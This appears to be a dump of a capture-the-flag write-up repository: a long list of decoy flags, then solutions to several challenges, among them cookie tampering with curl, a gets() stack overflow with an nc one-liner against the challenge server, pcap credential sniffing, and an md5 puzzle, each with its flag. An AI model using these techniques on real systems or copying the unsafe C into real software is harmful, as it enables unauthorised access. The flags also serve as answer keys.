111 | flag{the_small_unit_compares_the_value}
112 | flag{the_history_develops_the_great_song}
113 | flag{the_sharp_ink_organizes_the_name}
114 | flag{the_sister_launchs_the_familiar_fall}
115 | flag{the_one_metal_augments_the_amount}
116 | flag{the_weight_spearheads_the_spurious_river}
117 | flag{the_grip_catalogs_the_education}
118 | flag{the_moldy_side_individualizes_the_education}
119 | flag{the_comfort_licenses_the_special_river}
120 | flag{the_delirious_roll_lightens_the_list}
121 | flag{the_abhorrent_sleep_supports_the_wound}
122 | flag{the_existence_boosts_the_news}
123 | flag{the_leather_recommends_the_cuddly_regret}
124 | flag{the_cheap_disgust_assigns_the_care}
125 | flag{the_desire_retains_the_guiltless_sleep}
126 | flag{the_growth_insures_the_mind}
127 | flag{the_lopsided_meal_audits_the_thought}
128 | flag{the_puzzled_detail_supplys_the_shock}
129 | flag{the_language_maps_the_minute}
130 | flag{the_name_defends_the_organisation}
131 | flag{the_animal_implements_the_impartial_desire}
132 | flag{the_erratic_heat_spearheads_the_burn}
133 | flag{the_loutish_fight_charges_the_bite}
134 | flag{the_road_reviews_the_mother}
135 | flag{the_illustrious_salt_corresponds_the_motion}
136 | flag{the_time_calibrates_the_sand}
137 | flag{the_number_briefs_the_voiceless_steel}
138 | flag{the_gold_decreases_the_roll}
139 | flag{the_day_compiles_the_damage}
140 | flag{the_macabre_position_aides_the_cause}
141 | flag{the_wanting_adjustment_gathers_the_wine}
142 | flag{the_quiet_porter_intervenes_the_list}
143 | flag{the_full_effect_reads_the_flower}
144 | flag{the_test_forecasts_the_bite}
145 | flag{the_majestic_news_lightens_the_cotton}
146 | flag{the_jazzy_family_builds_the_grip}
147 | flag{the_natural_snow_listens_the_sand}
148 | flag{the_test_stimulates_the_dazzling_wind}
149 | flag{the_repulsive_color_enters_the_meal}
150 | flag{the_judge_theorizes_the_sky}
151 | flag{the_smoke_derives_the_idiotic_coal}
152 | flag{the_cotton_boosts_the_snow}
153 | flag{the_abrasive_need_synthesizes_the_stage}
154 | flag{the_waste_acquires_the_bread}
155 | flag{the_caring_tax_forwards_the_sea}
156 | flag{the_wasteful_decision_coachs_the_paper}
157 | flag{the_cork_promotes_the_steep_competition}
158 | flag{the_animal_reorganizes_the_famous_canvas}
159 | flag{the_ice_educates_the_fact}
160 | flag{the_wax_compares_the_dusty_step}
161 | flag{the_jump_mediates_the_system}
162 | flag{the_increase_describes_the_sore_group}
163 | flag{the_judge_collates_the_erratic_operation}
164 | flag{the_worthless_mother_reads_the_protest}
165 | flag{the_ambitious_burst_classifys_the_rule}
166 | flag{the_rice_translates_the_number}
167 | flag{the_year_proposes_the_mature_rice}
168 | flag{the_argument_unifys_the_teaching}
169 | flag{the_fearful_way_presides_the_competition}
170 | flag{the_trade_facilitates_the_kiss}
171 | flag{the_rabid_mind_zaps_the_reason}
172 | flag{the_jelly_creates_the_wood}
173 | flag{the_cause_transposes_the_lavish_fire}
174 | flag{the_scale_surpasss_the_ashamed_reading}
175 | flag{the_cook_incorporates_the_belief}
176 | flag{the_tendency_specializes_the_end}
177 | flag{the_periodic_join_chairs_the_tin}
178 | flag{the_shame_incorporates_the_country}
179 | flag{the_degree_consolidates_the_unaccountable_song}
180 | flag{the_way_recommends_the_adventurous_sister}
181 | flag{the_frequent_lead_fabricates_the_stone}
182 | flag{the_operation_transposes_the_learning}
183 | flag{the_adjustment_depreciateds_the_stone}
184 | flag{the_waste_evaluates_the_verdant_reaction}
185 | flag{the_science_hires_the_fluffy_apparatus}
186 | flag{the_snow_trades_the_discovery}
187 | flag{the_food_localizes_the_error}
188 | flag{the_selection_listens_the_wholesale_number}
189 | flag{the_amount_tails_the_imported_tendency}
190 | flag{the_colorful_government_reasons_the_rhythm}
191 | flag{the_measure_ensures_the_abounding_road}
192 | flag{the_experience_categorizes_the_jaded_current}
193 | flag{the_scrawny_liquid_recreates_the_chalk}
194 | flag{the_swim_conveys_the_worthless_tax}
195 | flag{the_descriptive_wind_collaborates_the_animal}
196 | flag{the_cork_computes_the_overt_bread}
197 | flag{the_high_weather_regulates_the_view}
198 | flag{the_amusing_reaction_edits_the_hate}
199 | flag{the_value_renews_the_group}
200 | flag{the_cook_instructs_the_substance}
201 | flag{the_subsequent_start_extends_the_plant}
202 | flag{the_lift_maximizes_the_organic_sex}
203 | flag{the_honorable_color_spokes_the_level}
204 | flag{the_rainy_process_edits_the_day}
205 | flag{the_rain_traces_the_whispering_news}
206 | flag{the_grass_standardizes_the_slip}
207 | flag{the_fire_orders_the_form}
208 | flag{the_petite_surprise_surpasss_the_increase}
209 | flag{the_bumpy_road_examines_the_breath}
210 | flag{the_machine_raises_the_field}
211 | flag{the_burn_synthesizes_the_dry_example}
212 | flag{the_aggressive_observation_justifys_the_doubt}
213 | flag{the_material_work_narrates_the_increase}
214 | flag{the_money_enlarges_the_accurate_attack}
215 | flag{the_distance_trades_the_concerned_science}
216 | flag{the_offer_assumes_the_marvelous_list}
217 | flag{the_iron_lists_the_slip}
218 | flag{the_writing_pioneers_the_religion}
219 | flag{the_doubt_interfaces_the_stormy_look}
220 | flag{the_makeshift_step_oversees_the_snow}
221 | flag{the_harbor_submits_the_education}
222 | flag{the_misty_writing_traces_the_lead}
223 | flag{the_peace_implements_the_condition}
224 | flag{the_teaching_critiques_the_frightening_back}
225 | flag{the_scintillating_attention_integrates_the_lead}
226 | flag{the_hapless_burst_repairs_the_ray}
227 | flag{the_question_evaluates_the_breath}
228 | flag{the_canvas_compares_the_cheap_shock}
229 | flag{the_overjoyed_touch_discovers_the_teaching}
230 | flag{the_delicious_level_enables_the_view}
231 | flag{the_mindless_year_elects_the_mass}
232 | flag{the_rest_governs_the_regret}
233 | flag{the_opposite_thought_combines_the_end}
234 | flag{the_taste_reconciles_the_representative}
235 | flag{the_fire_inspects_the_account}
236 | flag{the_illegal_weight_uphelds_the_prose}
237 | flag{the_peaceful_smile_aligns_the_end}
238 | flag{the_disgusted_point_gathers_the_adjustment}
239 | flag{the_canvas_retains_the_building}
240 | flag{the_barbarous_touch_standardizes_the_wax}
241 | flag{the_tax_monitors_the_argument}
242 | flag{the_opinion_builts_the_summer}
243 | flag{the_expansion_forwards_the_nervous_copper}
244 | flag{the_tax_summarizes_the_uneven_balance}
245 | flag{the_decision_conciliates_the_subsequent_comparison}
246 | flag{the_fragile_mountain_acts_the_mother}
247 | flag{the_amuck_cloth_attracts_the_leather}
248 | flag{the_knowledge_anticipates_the_protest}
249 | flag{the_science_widens_the_organisation}
250 | flag{the_manager_authorizes_the_turn}
251 | flag{the_morning_decides_the_smash}
252 | flag{the_reading_reconciles_the_omniscient_food}
253 | flag{the_dirty_smile_documents_the_burn}
254 | flag{the_burn_frames_the_quality}
255 | flag{the_ice_oversees_the_wellgroomed_loss}
256 | flag{the_smoke_builds_the_clumsy_nation}
257 | flag{the_flight_constructs_the_impulse}
258 | flag{the_fall_encourages_the_longing_measure}
259 | flag{the_writing_delivers_the_maniacal_peace}
260 | flag{the_rate_controls_the_manager}
261 | flag{the_secretary_copys_the_assorted_distribution}
262 | flag{the_development_trades_the_friend}
263 | flag{the_ornament_executes_the_famous_education}
264 | flag{the_look_oversees_the_memory}
265 | flag{the_rest_eliminates_the_driving}
266 | flag{the_venomous_cotton_condenses_the_color}
267 | flag{the_ray_recreates_the_organisation}
268 | flag{the_obeisant_belief_licenses_the_plant}
269 | flag{the_racial_side_records_the_leather}
270 | flag{the_digestion_discloses_the_position}
271 | flag{the_print_unifys_the_money}
272 | flag{the_industry_modernizes_the_idea}
273 | flag{the_voice_moderates_the_education}
274 | flag{the_mist_refers_the_wistful_tendency}
275 | flag{the_unarmed_grain_effects_the_division}
276 | flag{the_heady_glass_acquires_the_shame}
277 | flag{the_bread_revitalizes_the_question}
278 | flag{the_range_specializes_the_opposite_expert}
279 | flag{the_trade_assigns_the_vengeful_company}
280 | flag{the_food_builts_the_bewildered_silver}
281 | flag{the_astonishing_walk_chairs_the_country}
282 | flag{the_act_quantifys_the_committee}
283 | flag{the_hate_invents_the_polish}
284 | flag{the_meal_focuss_the_flat_lead}
285 | flag{the_machine_extends_the_day}
286 | flag{the_wound_distributes_the_judicious_love}
287 | flag{the_wind_refines_the_operation}
288 | flag{the_seat_consults_the_value}
289 | flag{the_change_confers_the_lucky_purpose}
290 | flag{the_authority_greets_the_kick}
291 | flag{the_increase_responds_the_wellgroomed_milk}
292 | flag{the_decision_demonstrates_the_tart_existence}
293 | flag{the_error_illustrates_the_detail}
294 | flag{the_servant_decides_the_handsome_war}
295 | flag{the_rare_person_involves_the_sky}
296 | flag{the_effect_reorganizes_the_art}
297 | flag{the_sister_programs_the_dispensable_education}
298 | flag{the_complex_destruction_gathers_the_disease}
299 | flag{the_fact_fashions_the_weary_society}
300 | flag{the_sound_liquidates_the_fall}
301 | flag{the_invention_mobilizes_the_broad_building}
302 | flag{the_reading_incorporates_the_ambiguous_statement}
303 | flag{the_disgust_wins_the_plant}
304 | flag{the_outgoing_peace_finalizes_the_night}
305 | flag{the_axiomatic_father_markets_the_comparison}
306 | flag{the_salt_generates_the_feeble_liquid}
307 | flag{the_seat_consolidates_the_touch}
308 | flag{the_hateful_argument_performs_the_verse}
309 | flag{the_learning_bargains_the_unknown_hour}
310 | flag{the_view_recruits_the_test}
311 | flag{the_walk_discusss_the_silk}
312 | flag{the_feeling_straightens_the_moldy_month}
313 | flag{the_polish_tends_the_flowery_ink}
314 | flag{the_muddled_waste_greets_the_sign}
315 | flag{the_thirsty_laugh_engineers_the_sex}
316 | flag{the_mountain_donkeys_the_female_distance}
317 | flag{the_advertisement_lists_the_far_waste}
318 | flag{the_quality_aides_the_rub}
319 | flag{the_waste_conceives_the_wax}
320 | flag{the_same_paint_eliminates_the_sex}
321 | flag{the_note_traces_the_voice}
322 | flag{the_kiss_schedules_the_power}
323 | flag{the_profit_centralizes_the_credit}
324 | flag{the_outrageous_offer_dedicates_the_mind}
325 | flag{the_opinion_discharges_the_tight_manager}
326 | flag{the_erect_iron_enlists_the_exchange}
327 | flag{the_religion_authors_the_obese_transport}
328 | flag{the_point_trades_the_force}
329 | flag{the_tart_grip_uphelds_the_reason}
330 | flag{the_blood_oversees_the_development}
331 | flag{the_chivalrous_cough_recalls_the_end}
332 | flag{the_nutty_authority_invents_the_current}
333 | flag{the_dust_records_the_distribution}
334 | flag{the_rest_enlarges_the_feeling}
335 | flag{the_lyrical_flame_presides_the_bit}
336 | flag{the_current_enhances_the_outgoing_opinion}
337 | flag{the_reward_contributes_the_ray}
338 | flag{the_user_checks_the_sourcecode} 339 | flag{the_person_tutors_the_experience}
340 | flag{the_water_revamps_the_spotted_food}
341 | flag{the_cold_rule_reorganizes_the_decision}
342 | flag{the_leather_compares_the_tasty_statement}
343 | flag{the_condition_exchanges_the_two_limit}
344 | flag{the_lethal_ink_gauges_the_committee}
345 | flag{the_history_tours_the_wine}
346 | flag{the_shame_finalizes_the_music}
347 | flag{the_decisive_cloth_involves_the_damage}
348 | flag{the_petite_fight_converts_the_representative}
349 | flag{the_minute_finalizes_the_cook}
350 | flag{the_control_builds_the_chunky_body}
351 | flag{the_question_standardizes_the_committee}
352 | flag{the_unsightly_list_forwards_the_voice}
353 | flag{the_wealthy_language_lectures_the_end}
354 | flag{the_hate_shows_the_flat_talk}
355 | flag{the_friend_officiates_the_kiss}
356 | flag{the_interesting_market_controls_the_wave}
357 | flag{the_curious_teaching_reports_the_guide}
358 | flag{the_blood_litigates_the_happy_crush}
359 | flag{the_agreeable_plant_reveals_the_milk}
360 | flag{the_slip_persuades_the_control}
361 | flag{the_structure_canvasss_the_small_experience}
362 | flag{the_smiling_reaction_volunteers_the_expert}
363 | flag{the_night_fosters_the_fire}
364 | flag{the_lying_silver_surpasss_the_addition}
365 | flag{the_extrasmall_group_recruits_the_humor}
366 | flag{the_madly_society_serves_the_wave}
367 | flag{the_sugar_writes_the_shocking_building}
368 | flag{the_silver_condenses_the_nippy_animal}
369 | flag{the_record_condenses_the_science}
370 | flag{the_surprise_captures_the_three_current}
371 | flag{the_machine_debates_the_ignorant_nation}
372 | flag{the_axiomatic_range_enumerates_the_balance}
373 | flag{the_female_profit_rans_the_desire}
374 | flag{the_news_evaluates_the_condition}
375 | flag{the_judge_repairs_the_noise}
376 | flag{the_quiet_question_assumes_the_fear}
377 | flag{the_current_arranges_the_cloth}
378 | flag{the_record_pilots_the_kiss}
379 | flag{the_violent_hour_localizes_the_bit}
380 | flag{the_opinion_discusss_the_talk}
381 | flag{the_jaded_fruit_persuades_the_sex}
382 | flag{the_news_interacts_the_payment}
383 | flag{the_turn_collaborates_the_amusement}
384 | flag{the_print_listens_the_wistful_ink}
385 | flag{the_boring_mind_indexs_the_sex}
386 | flag{the_blackandwhite_end_researchs_the_hate}
387 | flag{the_rhythm_quantifys_the_imaginary_wave}
388 | flag{the_self_converts_the_offer}
389 | flag{the_form_unveils_the_enormous_error}
390 | flag{the_futuristic_language_presides_the_protest}
391 | flag{the_rub_orientates_the_current}
392 | flag{the_nation_transports_the_man}
393 | flag{the_paste_pioneers_the_position}
394 | flag{the_muddled_test_reconciles_the_cotton}
395 | flag{the_infamous_learning_pilots_the_father}
396 | flag{the_work_substantiates_the_astonishing_peace}
397 | flag{the_soup_publicizes_the_festive_level}
398 | flag{the_walk_charges_the_experience}
399 | flag{the_advertisement_extrapolates_the_fold}
400 | flag{the_amusement_enlarges_the_far_paint}
401 | flag{the_talk_delivers_the_breezy_ice}
402 | flag{the_water_commences_the_erratic_amusement}
403 | flag{the_part_summarizes_the_obtainable_meat}
404 | flag{the_trick_renews_the_page}
405 | flag{the_obscene_number_gathers_the_balance}
406 | flag{the_delicious_glass_orientates_the_dust}
407 | flag{the_direction_consults_the_protest}
408 | flag{the_run_shares_the_pathetic_group}
409 | flag{the_top_boosts_the_tasty_print}
410 | flag{the_functional_decision_teachs_the_insect}
411 | flag{the_order_employs_the_secretive_surprise}
412 | flag{the_meat_simulates_the_first_view}
413 | flag{the_digestion_earns_the_enormous_doubt}
414 | flag{the_present_grain_cooperates_the_request}
415 | flag{the_behavior_straightens_the_righteous_swim}
416 | flag{the_impulse_bargains_the_weather}
417 | flag{the_profit_acquires_the_skinny_reading}
418 | flag{the_intelligent_run_litigates_the_desire}
419 | flag{the_mass_schedules_the_machine}
420 | flag{the_offer_discharges_the_butter}
421 | flag{the_internal_expert_operates_the_cotton}
422 | flag{the_abaft_degree_trains_the_company}
423 | flag{the_dreary_gold_categorizes_the_detail}
424 | flag{the_attraction_decreases_the_glass}
425 | flag{the_flight_zero_ins_the_credit}
426 | flag{the_wound_summarizes_the_long_slip}
427 | flag{the_punishment_inspires_the_damage}
428 | flag{the_pale_shock_assesss_the_expert}
429 | flag{the_lying_advertisement_allocates_the_love}
430 | flag{the_sign_launchs_the_awful_woman}
431 | flag{the_stretch_shares_the_list}
432 | flag{the_business_enhances_the_tasteless_law}
433 | flag{the_increase_zone_offs_the_subdued_hour}
434 | flag{the_peace_reinforces_the_growth}
435 | flag{the_flight_devises_the_ragged_organisation}
436 | flag{the_twist_defends_the_delirious_history}
437 | flag{the_play_involves_the_glistening_cough}
438 | flag{the_enchanting_rhythm_cares_the_authority}
439 | flag{the_weather_researchs_the_tedious_step}
440 | flag{the_tendency_notifys_the_disease}
441 | flag{the_process_engineers_the_aback_place}
442 | flag{the_experience_assembles_the_tender_industry}
443 | flag{the_support_taughts_the_snow}
444 | flag{the_responsible_advertisement_designs_the_brass}
445 | flag{the_friend_engineers_the_confused_insurance}
446 | flag{the_berserk_addition_collects_the_top}
447 | flag{the_advertisement_researchs_the_story}
448 | flag{the_wash_depicts_the_paper}
449 | flag{the_woman_details_the_danger}
450 | flag{the_unaccountable_rain_samples_the_ray}
451 | flag{the_offer_dealt_withs_the_flight}
452 | flag{the_heat_accomplishs_the_law}
453 | flag{the_teeny_woman_zaps_the_glass}
454 | flag{the_silver_renews_the_burly_crush}
455 | flag{the_day_imports_the_question}
456 | flag{the_malicious_force_liquidates_the_thing}
457 | flag{the_wealthy_cough_connects_the_month}
458 | flag{the_canvas_justifys_the_design}
459 | flag{the_sort_builds_the_ice}
460 | flag{the_oldfashioned_plant_sorts_the_example}
461 | flag{the_polish_controls_the_instinctive_statement}
462 | flag{the_hate_photographs_the_purpose}
463 | flag{the_form_finalizes_the_night}
464 | flag{the_unused_process_verifys_the_harbor}
465 | flag{the_view_depreciateds_the_early_smell}
466 | flag{the_surprise_bisons_the_boiling_art}
467 | flag{the_purpose_responds_the_trite_range}
468 | flag{the_color_derives_the_prose}
469 | flag{the_fact_heads_the_messy_paste}
470 | flag{the_makeshift_balance_shares_the_history}
471 | flag{the_salt_fashions_the_attempt}
472 | flag{the_group_allocates_the_garrulous_flight}
473 | flag{the_stitch_zoom_ins_the_distance}
474 | flag{the_sugar_greets_the_shaggy_point}
475 | flag{the_thought_monitors_the_utter_amount}
476 | flag{the_voice_publicizes_the_use}
477 | flag{the_motion_moderates_the_guide}
478 | flag{the_thing_regulates_the_stitch}
479 | flag{the_water_distinguishs_the_hour}
480 | flag{the_military_night_vitalizes_the_page}
481 | flag{the_plant_adapts_the_verse}
482 | flag{the_quixotic_idea_debugs_the_increase}
483 | flag{the_square_sign_recreates_the_water}
484 | flag{the_stretch_insures_the_meek_butter}
485 | flag{the_degree_teachs_the_jelly}
486 | flag{the_highfalutin_swim_assigns_the_art}
487 | flag{the_obsolete_nation_introduces_the_invention}
488 | flag{the_shame_automates_the_coal}
489 | flag{the_thing_activates_the_thinkable_look}
490 | flag{the_chance_arranges_the_gruesome_bite}
491 | flag{the_different_end_computes_the_learning}
492 | flag{the_helpless_balance_localizes_the_business}
493 | flag{the_concerned_division_starts_the_cotton}
494 | flag{the_obeisant_land_measures_the_jelly}
495 | flag{the_loose_bite_broadens_the_advertisement}
496 | flag{the_vast_selection_improves_the_idea}
497 | flag{the_balance_justifys_the_rub}
498 | flag{the_back_tends_the_error}
499 | flag{the_brass_anticipates_the_panoramic_motion}
500 | flag{the_makeshift_system_completes_the_place}
501 | flag{the_rule_reasons_the_farflung_trouble}
502 | -------------------------------------------------------------------------------- /noise/noise.md: -------------------------------------------------------------------------------- 1 | noise 2 | ===== 3 | 4 | Flag: **the_user_checks_the_sourcecode** 5 | 6 | ![noise](images/noise.png "noise challenge introduction") 7 | 8 | The challenge flavortext says "One is not like the others..." and 9 | links to an [HTML file](noise.html "HTML file") containing a number of 10 | flags. 11 | 12 | Viewing the source for the page, we see that one entry has been styled not to be 13 | displayed: 14 | 15 | flag{the_current_enhances_the_outgoing_opinion}
16 | flag{the_reward_contributes_the_ray}
17 | flag{the_user_checks_the_sourcecode} 18 | flag{the_person_tutors_the_experience}
19 | flag{the_water_revamps_the_spotted_food}
20 | 21 | That is the true flag, namely `the_user_checks_the_sourcecode`. 22 | 23 | [« Return to challenge board](../README.md "Return to challenge board") 24 | -------------------------------------------------------------------------------- /nom/images/nom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/nom/images/nom.png -------------------------------------------------------------------------------- /nom/images/nom_cookie_after.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/nom/images/nom_cookie_after.png -------------------------------------------------------------------------------- /nom/images/nom_cookies.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/nom/images/nom_cookies.png -------------------------------------------------------------------------------- /nom/images/nom_flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/nom/images/nom_flag.png -------------------------------------------------------------------------------- /nom/images/nom_link.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/nom/images/nom_link.png -------------------------------------------------------------------------------- /nom/nom.md: -------------------------------------------------------------------------------- 1 | nom nom nom 2 | =========== 3 | 4 | Flag: **come_to_the_dark_side** 5 | 6 | ![nom nom nom](images/nom.png "nom nom nom challenge introduction") 7 | 8 | The challenge shows an image of Cookie Monster and a link to 9 | . 10 | 11 | Visiting the link takes us to a page that says "Sorry, you must be admin to get 12 | the flag!": 13 | 14 | ![visiting the nom link](images/nom_link.png "visiting the nom link") 15 | 16 | Given the Cookie Monster reference, we probably need to modify cookies for the 17 | site. 18 | 19 | Examining the cookies in the response to our HTTP request for the page via the 20 | browser developer console, we see that there is indeed an `admin` cookie that is 21 | set to `false`: 22 | 23 | ![cookies](images/nom_cookies.png "cookies") 24 | 25 | Using a browser extension like [Edit this 26 | Cookie](https://chrome.google.com/webstore/detail/edit-this-cookie/fngmhnnpilhplaeedifhccceomclgfbg 27 | "Edit this Cookie"), we can set the value for the `admin` cookie to `true`: 28 | 29 | ![editing the admin cookie](images/nom_cookie_after.png "editing the admin cookie") 30 | 31 | The browser sends this edited cookie in subsequent HTTP requests to the server, 32 | and since we are now an admin according to the cookie, we are given the flag: 33 | 34 | ![the flag](images/nom_flag.png "the flag") 35 | 36 | We could also get, edit, and send the modified cookie with `curl` to retrieve 37 | the flag: 38 | 39 | $ curl http://zeromutarts.de:23456/ -c cookie.txt 40 | sorry, you have to be admin to get the flag! 41 | $ cat cookie.txt 42 | # Netscape HTTP Cookie File 43 | # http://curl.haxx.se/rfc/cookie_spec.html 44 | # This file was generated by libcurl! Edit at your own risk. 45 | 46 | zeromutarts.de FALSE / FALSE 0 admin false 47 | $ perl -p -i -e "s/false/true/g" cookie.txt 48 | $ curl http://zeromutarts.de:23456/ -b cookie.txt 49 | flag{come_to_the_dark_side} 50 | 51 | The flag is thus `come_to_the_dark_side`. 52 | 53 | [« Return to challenge board](../README.md "Return to challenge board") 54 | -------------------------------------------------------------------------------- /overflow/images/overflow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/overflow/images/overflow.png -------------------------------------------------------------------------------- /overflow/overflow.md: -------------------------------------------------------------------------------- 1 | overflow 2 | ======== 3 | 4 | Flag: **the_90s_called_they_want_their_overflow_back** 5 | 6 | ![overflow](images/overflow.png "overflow challenge introduction") 7 | 8 | The challenge flavortext says: 9 | 10 | > Smashing the stack for fun and profit: 11 | 12 | > * [source](overflow_redacted.c "source") 13 | > * [binary (x86)](overflow_redacted "binary (x86)") 14 | 15 | > To solve the challenge, connect to: 16 | > telnet ctf.stratum0.net 5555 17 | > (or netcat on Linux) 18 | 19 | Examining the source code, we see that user input is copied into the 1024 `char` 20 | array `buf` without a bounds check on the input. Additionally, `data` is just 21 | above `buf` on the stack and functions as a canary; if the value of `data` is 22 | changed from `0xdeadbeef`, the flag is revealed. 23 | 24 | After crafting our input to overflow `buf` and part of `data`, we are given the 25 | flag: 26 | 27 | $ python -c "print 'A'*1024" | nc ctf.stratum0.net 5555 28 | What's your name? Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 29 | How did this happen? Here is your flag: "flag{the_90s_called_they_want_their_overflow_back}" 30 | 31 | Because `python`'s `print` adds a newline character, `print 'A'*1024` 32 | actually gives us 1025 characters, which is sufficient to overflow `buf` and 33 | one byte of `data`. 34 | 35 | The flag is thus `the_90s_called_they_want_their_overflow_back`. 36 | 37 | [« Return to challenge board](../README.md "Return to challenge board") 38 | -------------------------------------------------------------------------------- /overflow/overflow_redacted: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/overflow/overflow_redacted -------------------------------------------------------------------------------- /overflow/overflow_redacted.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char flag[] = "not_the_real_flag"; 5 | 6 | int main(int argc, char *argv[]) { 7 | int data = 0xdeadbeef; 8 | char buf[1024]; 9 | 10 | printf("What's your name? "); 11 | fflush(stdout); 12 | 13 | gets(buf); 14 | 15 | printf("Hi %s\n", buf); 16 | fflush(stdout); 17 | 18 | if (data != 0xdeadbeef) { 19 | printf("How did this happen? Here is your flag: \"%s\"\n", flag); 20 | } 21 | 22 | return 0; 23 | } 24 | 25 | -------------------------------------------------------------------------------- /pcap/images/pcap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/pcap/images/pcap.png -------------------------------------------------------------------------------- /pcap/images/pcap_post1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/pcap/images/pcap_post1.png -------------------------------------------------------------------------------- /pcap/images/pcap_post2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/pcap/images/pcap_post2.png -------------------------------------------------------------------------------- /pcap/pcap.md: -------------------------------------------------------------------------------- 1 | pcap 2 | ==== 3 | 4 | Flag: **use_ssl_dude** 5 | 6 | ![pcap](images/pcap.png "pcap challenge introduction") 7 | 8 | The challenge flavortext says "Check out this [pcap](pcap.pcap "pcap")". 9 | 10 | Opening the packet capture file with Wireshark, we see one HTTP (and thus 11 | unencrypted) POST containing login credentials: 12 | 13 | ![pcap](images/pcap_post1.png "pcap challenge introduction") 14 | 15 | And then a second, which contains our flag: 16 | 17 | ![pcap](images/pcap_post2.png "pcap challenge introduction") 18 | 19 | The flag is thus `use_ssl_dude`. 20 | 21 | [« Return to challenge board](../README.md "Return to challenge board") 22 | -------------------------------------------------------------------------------- /pcap/pcap.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/pcap/pcap.pcap -------------------------------------------------------------------------------- /pseudocode/images/pseudocode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesstess/zeromutarts-ctf/c9984287b393bb48ff3778d17f88ca42cd7600b4/pseudocode/images/pseudocode.png -------------------------------------------------------------------------------- /pseudocode/pseudocode: -------------------------------------------------------------------------------- 1 | import crypt 2 | 3 | label START 4 | $rand = random.range(21..29) 5 | if $rand mod 22 == 1 6 | continue 7 | else 8 | goto START 9 | $hash = crypt.md5($rand) 10 | print("flag{"+$hash[29]+$hash[6]+$hash[6]+$hash[14]+"}") 11 | quit 12 | 13 | -------------------------------------------------------------------------------- /pseudocode/pseudocode.md: -------------------------------------------------------------------------------- 1 | hardcoded 2 | ========= 3 | 4 | Flag: **affe** 5 | 6 | ![pseudocode](images/pseudocode.png "pseudocode challenge introduction") 7 | 8 | The challenge flavortext says "Found some old [pseudocode](pseudocode 9 | "pseudocode"), but I never implemented it." 10 | 11 | import crypt 12 | 13 | label START 14 | $rand = random.range(21..29) 15 | if $rand mod 22 == 1 16 | continue 17 | else 18 | goto START 19 | $hash = crypt.md5($rand) 20 | print("flag{"+$hash[29]+$hash[6]+$hash[6]+$hash[14]+"}") 21 | quit 22 | 23 | Examining the code, we see that it seeds an `md5` hash implementation with a 24 | number between 21 and 29 that is 1 mod 22, and constructs a flag from bits in 25 | the hash. 26 | 27 | The hash function is deterministic for a given seed, and 23 is the only number 28 | in the allowed range that is 1 mod 22, so we can implement the pseudocode using 29 | 23 as the seed to construct the flag: 30 | 31 | >>> import hashlib 32 | >>> m = hashlib.md5("23") 33 | >>> digest = m.hexdigest() 34 | >>> print digest[29] + digest[6] + digest[6] + digest[14] 35 | affe 36 | 37 | The flag is thus `affe`. 38 | 39 | [« Return to challenge board](../README.md "Return to challenge board") 40 | -------------------------------------------------------------------------------- /puzzle/images/puzzle.png: 